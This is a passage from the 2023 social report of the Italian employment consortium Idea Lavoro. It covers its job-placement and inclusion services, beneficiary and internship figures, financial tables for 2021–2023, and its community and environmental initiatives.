anni e più: Idea Lavoro è attenta alle necessità di conciliazione di vita e di lavoro dei propri lavoratori; il dialogo e lo scambio è costante per rilevare le necessità. Numerose sono le persone per le quali è stato possibile garantire un generale innalzamento delle condizioni di qualità della vita; l’approccio è quello del budget di salute che prevede il coinvolgimento delle parti interessate; a tal proposito è importante l’utilizzo della mappa delle relazioni. Cambiamenti sui beneficiari diretti e indiretti, Miglioramento qualità della vita (familiari) e Riduzione dell’indice di asimmetria del lavoro familiare (tempo dedicato al lavoro familiare dalla donna di 25-44 anni sul totale del tempo dedicato al lavoro familiare da entrambi i partner per 100): Idea Lavoro promuove e sensibilizza costantemente sia internamente sia nei diversi ambiti, e con approcci diversi a seconda della parte interessata, la dimensione di equality mainstreaming del principio di parità e non discriminazione, considerando le situazioni, le priorità, le esigenze specifiche delle persone. La prospettiva di genere, l’accessibilità delle persone con disabilità, la non discriminazione, a partire dal linguaggio rispettoso e inclusivo e rappresentativo del genere, sono tenute in considerazione in tutte le fasi: dall’accoglienza, alla preparazione, all’esecuzione delle azioni di orientamento e di formazione orientativa, all’inserimento lavorativo. Già nel 2022 ha intrapreso un percorso di ricerca per affinare strumenti che facilitino l’analisi dei fabbisogni di conciliazione vita e lavoro delle persone destinatarie dei servizi al lavoro. Nel 2023 si è consolidato lo strumento del bilancio di conciliazione che viene utilizzato per l’analisi dei bisogni dei nuclei familiari, o specifici beneficiari seguiti nei progetti. Qualità e accessibilità ai servizi, Accessibilità dell’offerta, Qualità ed efficacia dei servizi e Costruzione di un sistema di offerta integrato: L’ambito di azione di Idea Lavoro consente la costruzione di un sistema di offerta integrato che spazia fra diverse tipologie di utenza (anziani, persone con disabilità, minori e famiglie, persone con percorso migratorio, donne in condizione di svantaggio e/o vittime di violenza domestica) e di diverse tipologie di servizio utilizzate a seconda del progetto personalizzato. Relazioni con la comunità e sviluppo territoriale, Attivazione di processi di community building e Aumento della partecipazione sociale (% di persone di 14 anni e più che negli ultimi 12 mesi hanno svolto almeno una attività di partecipazione sociale sul totale delle persone di 14 anni e più): Il Consorzio Idea Lavoro, attraverso i suoi soci o direttamente, ha sempre operato per facilitare i processi di sviluppo di comunità, ovvero condividendo la propria visione e i propri valori sulla base dei quali contribuire a soddisfare i bisogni delle persone, specie quelle in condizione di maggiore fragilità e prive di lavoro. Idea Lavoro agisce come attivatore territoriale, plasmandosi a seconda dei bisogni espressi dai territori e in rete con altri soggetti, per stimolare forme di partecipazione attiva di attori di natura diversa; favorire processi collettivi a favore della comunità locale tramite un insieme di reti sociali che possono essere formali o informali. Nel corso del 2023, ha incrementato il lavoro svolto per l'avvicinamento delle imprese profit, attività improntata non solo per il c.d. scouting aziendale, o la rilevazione delle offerte di lavoro, ma sul riconoscimento reciproco di quei valori condivisibili e rilevanti anche per gli obiettivi ESG; l'acronimo è riferito alle tre aree principali dell'agenda 2030, ovvero, Environmental (Ambiente), Social (società) e Governance. Registriamo, infatti, che in linea generale è cresciuta la sensibilità delle aziende verso le progettualità che accompagnano le persone all'inclusione e all'inserimento lavorativo, con particolare attenzione a quelle in condizione di disabilità; un buon numero di imprese sente la responsabilità di essere parte attiva nei progetti di vita che possono riguardare tutti gli aspetti dell'esistenza, tra cui ha un ruolo di primo piano il lavoro. Il lavoro da fare in tale direzione, tuttavia, richiede tempi e risorse che non tutte le organizzazioni possono mettere in atto, e che, al momento, sembrano riguardare soprattutto le organizzazioni più grandi. Proprio per tale motivo appare particolarmente significativo il lavoro svolto per sostenere anche le aziende di più piccole dimensioni ma che esprimono un forte potenziale per essere coinvolte come partner significativi, vere imprese formative, della comunità educante. Relazioni con la comunità e sviluppo territoriale, Trasparenza nei confronti della comunità e Aumento della fiducia generalizzata (% di persone di 14 anni e più che ritiene che gran parte della gente sia degna di fiducia sul totale delle persone di 14 anni e più): Si parla del tema della cura come se fosse esclusivamente un servizio per le persone non autosufficienti ma tanto più si inseriranno elementi di "cura" nei territori e in tutte le organizzazioni, tanto più le persone potranno avere fiducia. Idea Lavoro è impegnata su questo fronte e inserisce in tutte le sue azioni elementi che possano incrementare la fiducia, specie nei giovani (trasparenza, linguaggio non discriminatorio, accoglienza, gentilezza). Relazioni con la comunità e sviluppo territoriale, Sviluppo e promozione del territorio e Aumento della consistenza del tessuto urbano storico (% di edifici in ottimo o buono stato di conservazione sul totale degli edifici abitati costruiti prima del 1919) oppure Riduzione dell'insoddisfazione per il paesaggio del luogo di vita (% di persone di 14 anni e più che dichiarano che il paesaggio del luogo di vita è affetto da evidente degrado sul totale delle persone di 14 anni e più): Il Consorzio opera anche con soggetti che attuano progetti di riqualificazione urbana, inserendosi con metodologie innovative per l'emersione dei saperi della comunità educante. Sviluppo imprenditoriale e di processi innovativi, Creatività e innovazione e Aumento del tasso di innovazione di prodotto/servizio del sistema produttivo (% di imprese che hanno introdotto innovazioni di prodotto-servizio nell'arco di un triennio sul totale delle imprese con almeno 10 addetti): La scelta di rispondere a particolari bandi o call, come capofila o come partner, è stata dettata dalla volontà di procedere nel percorso, già avviato da alcuni anni di andare oltre l’erogazione dei c.d. LEP – Livelli Essenziali di Prestazione previsti dalla normativa in materia di Politiche Attive del Lavoro. Si tratta di interventi che agiscono su alcuni ambiti di vita, tra cui l’educazione e l’accompagnamento orientativo di giovani, in particolari condizioni di svantaggio/fragilità, e l’accompagnamento al mercato del lavoro delle donne (non solo in stato di disoccupazione) tramite il bilancio di competenze e quello di conciliazione, che possono innescare quel cambiamento più ampio, proiettato ad uno sviluppo realmente sostenibile e una società più equa per tutte e tutti. Sviluppo imprenditoriale e di processi innovativi, Propensione imprenditoriale e Aumento dell’Incidenza dei lavoratori della conoscenza sull’occupazione (% di occupati con istruzione universitaria (Isced 5,6, 7 e 8) in professioni Scientifico-Tecnologiche (Isco 2-3) sul totale degli occupati): Il Consorzio, per poter curare nel miglior modo gli interessi dei soci e lo sviluppo socio economico e culturale delle comunità, deve cooperare attivamente, con altri enti cooperativi, altre imprese ed imprese sociali e organismi del Terzo Settore, su scala locale, nazionale e internazionale; persegue un orientamento imprenditoriale teso al coordinamento e all’integrazione con altre cooperative sociali, allo lo sviluppo delle esperienze consortili e dei consorzi territoriali. Il Consorzio crede fermamente, ed opera in tal senso, che nell’attuale contesto gli Enti del Terzo Settore e le aziende profit possono realizzare vere e proprie alleanze in un percorso comune di scambio di pensiero e strategie aziendali, elementi imprescindibili per programmazioni e progettazioni innovative e di significato per il territorio; secondo l’Università di Stanford la palestra migliore per sviluppare capacità di innovazione nei manager sono i problemi sociali. Il ruolo del manager di una grande azienda non può, dunque, rimanere concentrato sulla sola realtà aziendale, ma deve prestare attenzione a tutti gli indicatori e trend sociali ed è chiaro che oggi non si possa prescindere da almeno quattro tendenze: la crisi economica permanente, che incide su capacità di spesa e risparmio delle persone rendendole sempre più incerte sul loro futuro. Il climate change, che da mera osservazione scientifica è diventato un trend-topic globale. La digitalizzazione, che costringe i lavoratori a ripensarsi e le aziende a rincorrere tecnologie. La disintermediazione e la capacità di fare informazione da parte di tutti, attraverso il potere dei social network. Idea Lavoro sente forte la propria responsabilità, come Ente del Terzo Settore, sia nell’accompagnare le persone, verso una propria attivazione e crescita finalizzata all’autonomia, sia nel sostenere le imprese con proposte di valore, ovvero che le coinvolgano fattivamente nelle reti territoriali di welfare pubblico, privato profit e non profit. Le aree tematiche delle attività e dei servizi offerti alle imprese, in specifico nell’ambito di progetti che prevedono un importante coinvolgimento delle imprese, si possono elencare come segue: • Placement, ricerca/selezione, recruiting, attivazione di progetti formativi tramite il tirocinio extracurriculare; • Servizio di consulenza per l’ottenimento di contributi per l’inserimento lavorativo di persone con disabilità (es Fondi Regionali e contributi INAIL). • Sportello welfare care, rivolto ai lavoratori e lavoratrici, interno all’azienda gestibile on line (es. raccolta dei bisogni per l’assistenza domiciliare, l’orientamento ai servizi territoriali, percorso di sostegno alla maternità ed al rientro dal periodo di maternità; percorsi di sostegno post dimissione ospedaliera) - Servizio Disability Manager/Diversity Manager – il DM ha come compito professionale quello di accompagnare diverse figure aziendali per facilitare il percorso operativo di tutti i lavoratori coinvolti dal progetto di inserimento nel contesto lavorativo. - Supporto all’attivazione e implementazione di piani di welfare aziendale co-progettando con l’impresa le linee guida della politica del welfare aziendale, analizzando i bisogni e le aspettative, definendo un piano di comunicazione integrata delle iniziative; - Soluzioni e servizi di conciliazione rivolti alle lavoratrici e lavoratori (welfare service & solutions); - Coaching & counselling, career counselling; - Soluzioni per l’empowerment personale (si propone il percorso di validazione e certificazione delle competenze dei lavoratori e delle lavoratrici tramite il servizio IVC regionale ove già in essere); - Costruzione di partnership per progetti CSR (rivolti in particolare a stakeholder interni e lavoratori per facilitare l’attivazione di progetti finalizzati alla responsabilità sociale di territorio e di impresa (welfare di comunità). Il partenariato è sempre proposto coinvolgendo il socio locale di Idea Lavoro. - Consulenza ed orientamento ai servizi erogabili direttamente da Idea Lavoro, dai propri soci, dai partner di rete territoriale (pubblico/privata /ETS) in risposta ai bisogni di natura socio-sanitaria, ambientale, educativa ed artistico culturale. Conseguenze sulle politiche pubbliche, Risparmio per la P.A. e Aumento delle risorse di natura pubblica da riallocare: Il 2023 è un anno che segna un’ulteriore svolta rispetto alle attività realizzate, ovvero, oltre ad operare per l’erogazione dei servizi al lavoro, nell’ambito di misure di Politica Attiva del lavoro regionale (in specifico nell’ambito del programma GOL-Garanzia occupabilità dei lavoratori) e nell’ambito di progetti già in corso (progetti importanti che coinvolgono direttamente anche i nostri soci territoriali, si sono realizzati nuovi partenariati, pubblico/privato profit/ETS, per rispondere a dei bandi finalizzati alla presentazione di progetti innovativi e sperimentali. Il lavoro è stato intenso, a volte con momenti di fatica ed anche un po’ di sconforto, ma il tutto ampiamente ricompensato dal fatto che tutti i bandi presentati sono stati autorizzati. Lo strumento principe utilizzato è stato quello della co-progettazione. Conseguenze sulle politiche pubbliche, Rapporti con istituzioni pubbliche e Aumento e stabilizzazione dei processi di co-programmazione e co-progettazione: Il consorzio è coinvolto nell’ambito di numerosi tavoli regionali per la co-programmazione e co-progettazione di interventi relativi a percorsi di autonomia (sociale-abitativa-lavorativa) per persone con disabilità e per sostenere le persone in dimissione da strutture ospedaliere (accompagnamento all’assistenza domiciliare integrata). Sostenibilità ambientale, Attività di conservazione e tutela dell’ambiente e Aumento del conferimento dei rifiuti urbani in discarica (% di rifiuti urbani conferiti in discarica sul totale dei rifiuti urbani raccolti): Il Consorzio ha avviato, nel 2022, un'importante progettualità proprio su sul tema dell'economia circolare e la creazione di lavoro dignitoso a favore delle persone che si trovano in condizione di svantaggio. Il progetto si articola in sette direttrici tra loro complementari, che se sviluppate integralmente, realizzano un progetto che a 360 gradi, perseguendo importanti obiettivi occupazionali di soggetti fragili, servizi per le imprese ed i cittadini dei territori, ovvero: "Attività di riuso riutilizzo e recupero in tema ambientale, progetti di economia circolare, progetti di economia carceraria, formazione ed avviamento a progetti di imprenditorialità e formazione e sensibilizzazione sulle tematiche ambientali nelle scuole." Sostenibilità ambientale, Promozione di comportamenti responsabili da un punto di vista ambientale e Aumento del livello di soddisfazione per la situazione ambientale (% di persone di 14 anni e più molto o abbastanza soddisfatte della situazione ambientale (aria, acqua, rumore) della zona in cui vivono sul totale delle persone di 14 anni e più): Il Consorzio crede che in ogni progettualità sia possibile promuovere comportamenti responsabili e decisioni consapevoli che prendono origine dal chi siamo e come interagiamo con il nostro ambiente; il riferimento è ad ogni contesto e non solo all'ambiente naturale. In tale ottica ogni progettualità diviene un'occasione per trasmettere valori e provare a cambiare la narrazione negativa che, spesso, avvolge maggiormente i giovani in condizione di svantaggio. Tale approccio non si limita a fornire informazioni, ma mira a trasformare la relazione delle persone, guidandole verso un profondo rispetto e un impegno attivo alla sostenibilità. Sviluppo tecnologico, Utilizzo di ICT, Competenze ICT e Aumento dell'efficacia e dell'efficienza del sistema attraverso l'utilizzo di tecnologie: Nel corso del 2023 Idea Lavoro ha proseguito nell'attività di innovazione tecnologica finalizzata principalmente allo studio e sviluppo di nuovi processi gestionali che possano migliorare e semplificare la gestione dei servizi offerti. Sono proseguite le azioni di centralizzazione e ridistribuzione delle informazioni attraverso i sistemi informatici in dotazione. Output attività Il Consorzio eroga servizi "servizi al lavoro" con l'obiettivo di sostenere la persona nell'inserimento lavorativo, nella riqualificazione e ricollocazione professionale. A tal fine, il supporto offerto è garantito in tutte le fasi di attuazione del percorso individuale della persona presa in carico. Le azioni previste comportano una riflessione su di sé e sulla propria identità professionale, partendo dalla ricognizione delle conoscenze, abilità e competenze acquisite in contesti formali, non formali e informali, così da definire un piano di azione individuale. Le persone, nell'ambito dei servizi al lavoro, avranno la possibilità di definire un percorso individuale scegliendo fra i diversi servizi che sono erogati nel rispetto del repertorio degli standard minimi previsti dalle regioni rivolti sia alle persone sia ai datori di lavoro; ogni servizio definisce un output minimo. Oltre agli output definiti dagli standard dei servizi al lavoro si evidenziano quelli relativi a specifici progetti e definiti per tipologia di Nel 2023 è stato possibile rafforzare l'attività in presenza, mantenendo l'evidenza degli output prodotti, ovvero: - Scheda di accoglienza e presa in carico e rinvio a eventuale altro servizio; Registrazione e aggiornamento della scheda anagrafica su Sistema Regionale; Patto di Servizio; Piano di azione individuale; Rilevazione delle offerte di lavoro; Avvio ai colloqui di lavoro; - Inserimento lavorativo/attivazione di tirocini o contratti/comunicazioni UNICOLAVORO; - Convenzioni e progetti formativi; Bilanci di competenza; Bilanci per percorso migratorio; - Registrazione a percorsi di formazione orientativa; Attestati di frequenza e profitto; - Identificazione e validazione delle competenze acquisite in contesti formali, non formali e informali; Numero di attivazione degli inserimenti lavorativi tramite tirocini extracurriculari e successiva trasformazione in contratti di lavoro. **Tipologia attività esterne (Eventi di socializzazione organizzati a contatto con la comunità locale)** **Numero attività esterne:** 0 **Tipologia:** 0 **Altre tipologie specifiche di beneficiari non ricompresi nelle elencazioni precedenti** Nel 2023 sono continue le progettualità per l'accompagnamento all'autonomia di minori stranieri non accompagnati, neo maggiorenni e giovani adulti, giovani a rischio di devianza e in messa alla prova, donne in condizione di svantaggio e/o vittime di violenza, Significative le progettualità per l'accompagnamento all'autonomia, inclusione e inserimento lavorativo per persone con disabilità. Si sono incrementati gli accompagnamenti per le persone che, pur non seguite dal servizio socio sanitario, si trovano in condizione di fragilità e disorientamento. | Numero | Descrizione | |--------|-------------| | 32 | soggetti con disabilità fisica e/o sensoriale | | 51 | soggetti con disabilità psichica | | 14 | soggetti con dipendenze | | 75 | soggetti detenuti, in misure alternative e post detenzione | | 260 | soggetti con disagio sociale | | 103 | Famiglie private per l'assistenza domiciliare | | 195 | Minori/MSNA | | 602 | Persone in cerca di occupazione che non si trovano nelle condizioni di disagio sopra evidenziate ma che necessitano di sostegno | Numero di tirocini extracurriculari attivati: 168 Numero di assunzioni post tirocinio: 105 Outcome sui beneficiari diretti e indiretti e portatori di interesse Il consorzio Idea Agenzia per il Lavoro ha partecipato a riunioni e tavoli di lavoro inerenti i servizi di interesse, alla ricerca di sbocchi occupazionali per i soggetti svantaggiati giunti al termine del periodo di inserimento, alla ricerca di sinergie e progettualità da condursi con altre imprese del territorio, alla pianificazione di interventi volti a rispondere ai problemi sociali e occupazionali generali del territorio (es. la carenza di personale da inserire per l’assistenza domiciliare o i pregiudizi verso i giovani c.s. NEET) nonché alla definizione di politiche territoriali. Tali attività sono state generatrici di impatti sociali concreti per il territorio, poiché in particolare la collaborazione attiva con l’ente pubblico ha promosso nuovi servizi per la comunità. (outcome: riduzione dei costi dei servizi che sarebbero altrimenti sostenuti se la gestione fosse lasciata al pubblico, innovazione dei servizi e investimento realizzazione di progetti per il territorio e definizione di attività di interesse sociale). Rispetto alla relazione con le imprese profit del territorio, vogliamo sottolineare come la stessa non ha per il consorzio meramente un valore commerciale: nel 2023 è continuata la collaborazione con alcune imprese per la formazione di soggetti svantaggiati e il loro successivo collocamento nell’impresa, per la realizzazione di attività di interesse sociale per la comunità locale e compartecipando ad ATI/ATS. Ciò ha importanti ricadute sia per il consorzio e delle sue associate in termini di opportunità, di economie di scala, di sviluppo di conoscenze che possono migliorare i suoi servizi qualitativamente e quantitativamente, ma ha anche impatti indiretti per il territorio, poiché rafforza il concetto di collaborazione e lo sviluppo. L’outcome delle attività, in sintesi, è rappresentato dall’empowerment socio-territoriale e dall’incremento della qualità della vita delle persone prese in carico. Possesso di certificazioni di organizzazione, di gestione, di qualità (se pertinenti) Certificazione della qualità ai sensi della norma UNI EN ISO 9001:2015 settore EA 35-37-38f Possesso di un Modello organizzativo ai sensi del D.lgs. 231/01 e presenza di un Organismo di Vigilanza Esplicitare il livello di raggiungimento degli obiettivi di gestione individuati, gli eventuali fattori risultati rilevanti per il raggiungimento (o il mancato raggiungimento) degli obiettivi programmati Il Consorzio ha potuto raggiungere dei buoni risultati in tutti gli ambiti, grazie ai soci ed alla professionalità, competenza, flessibilità e capacità di adattamento dei lavoratori e delle lavoratrici che costituiscono il Team di Idea Lavoro. Gli obiettivi di gestione derivano annualmente dall’analisi dei processi fondamentali dell’Organizzazione, mappati e trattati nell’ambito del sistema ISO 9001:2015. La normativa ISO prevede che annualmente sia obbligatorio redigere il documento di Riesame della Direzione, all’interno dei quali sono riportati e trattati estesamente gli obiettivi di gestione, la loro individuazione e i fattori rilevanti per il loro raggiungimento, del cui livello si dà conto. Al fine di non duplicare documenti e di ottimizzare risorse, si rimanda al documento di Riesame Direzione redatto annualmente. Si evidenzia quanto evidenziato nel riesame della direzione, ovvero, che il Consorzio Idea Lavoro opera come realtà di secondo livello avvalendosi dell’operato dei soci i quali, non sempre, riescono a rispondere puntualmente alle sollecitazioni di Idea Lavoro; la stesura del bilancio sociale ha consentito di operare in tal senso. **Elementi/fattori che possono compromettere il raggiungimento dei fini istituzionali e procedure poste in essere per prevenire tali situazioni** Ogni territorio è coinvolto dalle grandi trasformazioni, ovvero la transizione digitale, ecologico/energetica e sociale. L'impegno è profuso per fronteggiare i rischi occupazionali legati agli impatti dei cambiamenti tecnologici nel mercato del lavoro, la relazione tra esclusione sociale e digitale, le vulnerabilità delle persone più fragili a basso reddito, la distanza tra profili ricercati dalle imprese e le professionalità che necessitano di essere aggiornate in modo rapido, costante e specialistico, per rispondere ai continui cambiamenti del tessuto imprenditoriale. Se pur è rilevato che il mercato del lavoro è più dinamico, ovvero vi è un incremento occupazionale post crisi dovuta alla pandemia, risultato di più contratti stipulati a tempo determinato e di breve periodo; è evidente che il protagonista è ancora una volta il lavoro precario. Tutte queste situazioni si aggravano quando si parla di lavoratori con background migratorio. Il Consorzio Idea Lavoro partecipa a tavoli di confronto costituiti da Enti pubblici, imprese, cooperative sociali, agenzie formative profit e del terzo settore, rappresentanze sindacali al fine di contribuire a superare la segmentazione dei servizi, rafforzare la coesione territoriale nella ricerca di una governance comune per definire strategia, metodologia e strumenti in grado di captare e plasmare le risposte corrette ai bisogni che emergono. 7. SITUAZIONE ECONOMICO-FINANZIARIA Provenienza delle risorse economiche con separata indicazione dei contributi pubblici e privati **Ricavi e provenienti:** | | 2023 | 2022 | 2021 | |-------------------------------------------|------------|------------|------------| | Ricavi da Enti Pubblici per gestione servizi sociali, socio-sanitari e socio-educativi | 0,00 € | 0,00 € | 0,00 € | | Contributi privati | 0,00 € | 0,00 € | 0,00 € | | Contributi pubblici | 366.019,00 € | 139.055,00 € | 109.018,00 € | | Ricavi da altri | 0,00 € | 0,00 € | 0,00 € | | Ricavi da Consorzi e/o altre Cooperative | 59.052,00 € | 45.737,00 € | 58.862,00 € | | Ricavi da Enti Pubblici per gestione di altre tipologie di servizi (manutenzione verde, pulizie, ...) | 336.642,00 € | 258.638,00 € | 282.762,00 € | | Ricavi da Privati-Cittadini inclusa quota cofinanziamento | 85.794,00 € | 74.582,00 € | 70.885,00 € | | Ricavi da Privati-Imprese | 44.039,00 € | 108.158,00 € | 157.133,00 € | | Ricavi da Privati-Non Profit | 0,00 € | 0,00 € | 0,00 € | **Patrimonio:** | | 2023 | 2022 | 2021 | |-------------------------------------------|------------|------------|------------| | Capitale sociale | 97.400,00 € | 97.500,00 € | 97.500,00 € | | Totale riserve | 43.920,00 € | 42.163,00 € | 41.775,00 € | | Utile/perdita dell'esercizio | 6.971,00 € | 5.855,00 € | 1.294,00 € | | Totale Patrimonio netto | 128.201,00 € | 121.505,00 € | 115.689,00 € | **Conto economico:** | | 2023 | 2022 | 2021 | |-------------------------------------------|------------|------------|------------| | Risultato Netto di Esercizio | 14.041,00 € | 10.981,00 € | 4.253,00 € | | Eventuali ristorni a Conto Economico | 0,00 € | 0,00 € | 0,00 € | | Valore del risultato di gestione (A-B bil. CEE) | 6.971,00 € | 5.855,00 € | 1.294,00 € | **Valore della produzione:** | | 2023 | 2022 | 2021 | |-------------------------------|------------|------------|------------| | Valore della produzione (Voce Totale A. del conto economico bilancio CEE) | 891.546,00 € | 626.170,00 € | 678.570,00 € | **Costo del lavoro:** | | 2023 | 2022 | 2021 | |-----------------------------------------------------------------|------------|------------|------------| | Costo del lavoro (Totale voce B.9 Conto Economico Bilancio CEE) | 208.839,00 € | 165.379,00 € | 128.099,00 € | | Costo del lavoro (compreso nella voce B.7 Conto Economico Bilancio CE) | 557.393,00 € | 599.437,00 € | 585.984,00 € | | Peso su totale valore di produzione | 86,00 % | 95,00 % | 86,00 % | **Capacità di diversificare i committenti** **Fonti delle entrate 2023:** | 2023 | Enti pubblici | Enti privati | Totale | |-------------------------------------------|---------------|--------------|------------| | Vendita merci | 0,00 € | 0,00 € | 0,00 € | | Prestazioni di servizio | 336.642,00 € | 188.885,00 € | 525.527,00 € | | Lavorazione conto terzi | 0,00 € | 0,00 € | 0,00 € | | Rette utenti | 0,00 € | 0,00 € | 0,00 € | | Altri ricavi | 366.019,00 € | 0,00 € | 366.019,00 € | | Contributi e offerte | 0,00 € | 0,00 € | 0,00 € | | Grants e progettazione | 0,00 € | 0,00 € | 0,00 € | | Altro | 0,00 € | 0,00 € | 0,00 € | È possibile indicare, in maniera facoltativa, una suddivisione dei ricavi per settore di attività usando la tabella sotto riportata: | 2023 | Enti pubblici | Enti privati | Totale | |-------------------------------------------|---------------|--------------|------------| | Servizi socio-assistenziali | 0,00 € | 0,00 € | 0,00 € | | Servizi educativi | 0,00 € | 0,00 € | 0,00 € | | Servizi sanitari | 0,00 € | 0,00 € | 0,00 € | | Servizi socio-sanitari | 0,00 € | 0,00 € | 0,00 € | | Altri servizi | 336.642,00 € | 188.885,00 € | 525.527,00 € | | Contributi | 366.019,00 € | 0,00 € | 366.019,00 € | **Incidenza pubblico/privato sul valore della produzione 2023:** | Incidenza fonti pubbliche | 702.661,00 € | 79,00 % | |--------------------------|--------------|---------| | Incidenza fonti private | 188.885,00 € | 21,00 % | **Specifiche informazioni sulle attività di raccolta fondi (se prevista)** Promozione iniziative di raccolta fondi: Non è stata svolta alcuna iniziativa di raccolta fondi Finalità generali e specifiche delle raccolte effettuate nel periodo di riferimento, strumenti utilizzati per fornire informazioni al pubblico sulle risorse raccolte e sulla destinazione delle stesse Non è stata svolta alcuna iniziativa di raccolta fondi **Segnalazioni da parte degli amministratori di eventuali criticità emerse nella gestione ed evidenziazione delle azioni messe in campo per la mitigazione degli effetti negativi** Lo scenario nel quale ci collochiamo non può non tener conto delle grandi trasformazioni verso le quali è posta l’attenzione di ogni territorio, ovvero la transizione digitale, ecologico, energetica e sociale. Si è resa evidente la necessità di integrare fra loro le politiche del lavoro, del sociale, della salute e progettare percorsi formativi per gli stessi operatori dell’orientamento e dei servizi al lavoro che necessitano di essere sostenuti per poter dare risposte adeguate e coerenti con i nuovi bisogni espressi dalle persone e dalle imprese. I vari sistemi locali territoriali presentano, inoltre, l’aumento del fenomeno di dispersione scolastica tra i giovani (NEET), la crescita del tasso della popolazione inattiva/disoccupata, in particolare donne, la presenza di nuove povertà e lo sviluppo del fenomeno del “working poor”. Il tema del lavoro, strettamente collegato al ben-essere delle persone, porta con sé, in un comune disegno, sia il superamento delle frammentazioni e delle diseguaglianze sia il rafforzamento della coesione territoriale e il potenziamento delle alleanze tra i vari attori territoriali impegnati, a vario titolo, per facilitare l’intermediazione tra domanda e offerta di lavoro. Promuovere un efficace incontro tra domanda e offerta di lavoro, contrastando i problemi di skill mismatch, richiede l’adozione di strumenti a supporto delle azioni di empowerment che si snodano lungo un percorso di accompagnamento basato sull’attenzione alla persona nella sua interezza. Le Politiche attive del lavoro, diversamente da quelle passive, implicano infatti l’attivazione, non solo da parte delle persone disoccupate, ma anche di chi le gestisce ed opera in questo ambito. Idea Lavoro partecipa fattivamente ai progetti che operano per potenziare l’infrastrutturazione sociale al fine di sviluppare azioni interne alla rete già costituite e azioni esterne alla rete in cui si andranno ad intercettare nuovi attori, con particolare attenzione al mondo profit per garantire: - una rete di protezione sociale a supporto individuale targettizzato e integrato. Il supporto si può intendere unidimensionale, qualora il beneficiario intenda e necessiti un supporto focalizzato sul lavoro; - supporto multidimensionale per garantire una risposta integrata del territorio, facilitando l’acquisizione dell’autonomia, il reinserimento sociale e la coesione sociale. 8. INFORMAZIONI AMBIENTALI Tipologie di impatto ambientale connesse alle attività svolte Il Consorzio ha mantenuto, ove possibile, alcune attività in remoto pur privilegiando gli incontri in presenza per specifici interventi. Le attività in remoto impattano su due livelli, rispettivamente, il primo agevola i destinatari dei servizi che non devono spostarsi con aggravio di costi, il secondo riduce decisamente l'impatto ambientale. Inoltre, il processo di digitalizzazione attualmente in corso è finalizzato ad abbattere il numero di documenti che devono essere stampati. 9. INFORMAZIONI SU RIGENERAZIONE ASSET COMUNITARI Tipologia di attività Attivazione di servizi finalizzati a rispondere alle esigenze della comunità e al miglioramento delle condizioni di vita. Integrazione sociale di soggetti emarginati o a rischio esclusione sociale (es. minori, disabili, migranti…). Interventi volti a facilitare e promuovere l’insediamento di nuove attività imprenditoriali Descrizione sintetica delle attività svolte in tale ambito e dell’impatto perseguito attraverso la loro realizzazione La prima osservazione da cui vogliamo partire è quella della ricaduta ambientale considerando la stessa come un fattore di interesse attualmente nella società, anche se non caratteristico delle attività di Idea Lavoro. È così possibile affermare che il consorzio sia sufficientemente attento alle pratiche ambientali poiché nello specifico ha iniziato delle collaborazioni con cooperative di tipo B, società multiutility e aziende profit, per valutare la possibilità di avviare filiere operative sul tema dell’economia circolare e green economy (impatto atteso: recupero di materiali e rigenerazione/riutilizzo degli stessi per formare e inserire persone al lavoro). La seconda osservazione riguarda l’attivazione, o meglio il potenziamento, di servizi finalizzati a rispondere alle esigenze della comunità e al miglioramento delle condizioni di vita. Si tratta di IDEA PER LA FAMIGLIA che opera come nodo di prossimità per soddisfare le necessità di cura a domicilio e/o in continuità assistenziale a seguito di dimissioni ospedaliere (Il servizio è svolto in collaborazione con i Consorzi dei servizi sociali territoriali, comuni, reti territoriali costituite da enti pubblici e ETS; tra questi ultimi si evidenzia la Società Mutua Piemonte). Tale servizio migliora la qualità della vita dell’assistita/o e dell’intero nucleo familiare/care giver. Il servizio è compreso in alcune reti territoriali per la co-programmazione e co-progettazione nell’ambito del PNRR. Per quanto concerne la “integrazione sociale di soggetti emarginati o a rischio esclusione sociale (es. minori e neo maggiorenni, persone con disabilità, persone con percorso migratorio, donne vittime di violenza,) Idea Lavoro ha mantenuto l’erogazione di servizi gratuiti in collaborazione con Caritas, SERMIG e OdV. Caratteristiche degli interventi realizzati Riferimento geografico: Aree Interne Piccoli comuni Aree urbane degradate Coinvolgimento della comunità Il Consorzio è nato in modo specifico per rispondere ad alcuni obiettivi dalle chiare ricadute per le associate ma con un impatto in termini di miglioramento delle azioni per la comunità: promuovere servizi più innovativi di quanto le singole potessero fare, dare più visibilità alle cooperative sociali e avere più potere contrattuale soprattutto nei confronti del pubblico, innalzare la qualità dei servizi degli enti associati (es. con corsi di formazione per profili professionali non normati dalle regioni; pensare alle sedi delle filiali come nodi di prossimità che erogano servizi oltre lo standard regionale), avvicinare le singole cooperative dello stesso territorio e dello stesso tipo (A o B) per farle lavorare insieme, avvicinare singole cooperative di tipo diverso (A e B) per generare una filiera e generare start-up e far nascere nuove cooperative per rispondere a nuovi bisogni. Abbiamo compiuto azioni di sistema col chiaro intento di scrivere una nuova narrazione a fronte delle complesse e multiformi problematiche che determinano ancora forti disuguaglianze sociali ed economiche; tramite la strutturazione formale delle reti si intende ridurre la dispersività dei servizi e attivare una risposta sinergica, coordinata e collaborativa, per permettere il superamento di identità organizzative forti/individualizzate a favore di identità condivise/territoriali/comunitarie. Eventi/iniziative di sensibilizzazione sul tema della rigenerazione degli asset comunitari | Titolo Eventi/iniziative | Tema | Luogo | Destinatari | |--------------------------|----------------------------------------------------------------------|---------|-----------------------------------------------------------------------------| | 1 | Cambio di narrazione per l'integrazione e inclusione di persone con percorso migratorio | Sicilia | Enti pubblici, anti privati profit e ETS, cittadini e cittadine della comunità di riferimento | | 1 | Cambio di narrazione per l'integrazione e l'inserimento lavorativo di giovani in Messa alla Prova | Lombardia | Enti pubblici, anti privati profit e ETS, cittadini e cittadine della comunità di riferimento | Indicatori Il Consorzio opera come partner formale o facente parte della rete territoriale nell'ambito di alcuni asset come quello dell'agricoltura sociale, della rigenerazione di beni confiscati alla mafia o dell'uso di beni immobili, di varia natura e in vario stato, affinché vengano riattivati per ospitare iniziative destinate all'inclusione socio-lavorativa. Tipologia di attività - attivazione di servizi finalizzati a rispondere alle esigenze della comunità e al miglioramento delle condizioni di vita - interventi volti a stimolare lo sviluppo di attività attente allo sviluppo di energie rinnovabili, al riuso e al riciclo e più in generale attività connesse alla Green Economy ed all’innovazione digitale - integrazione sociale di soggetti emarginati o a rischio esclusione sociale (es. persone con percorso migratorio, persone in condizione di svantaggio) - attivazione di servizi finalizzati a rispondere alle esigenze della comunità e al miglioramento delle condizioni di vita delle persone che necessitano di assistenza a domicilio - interventi negli Istituti scolastici per promuovere le attività di peer education finalizzate 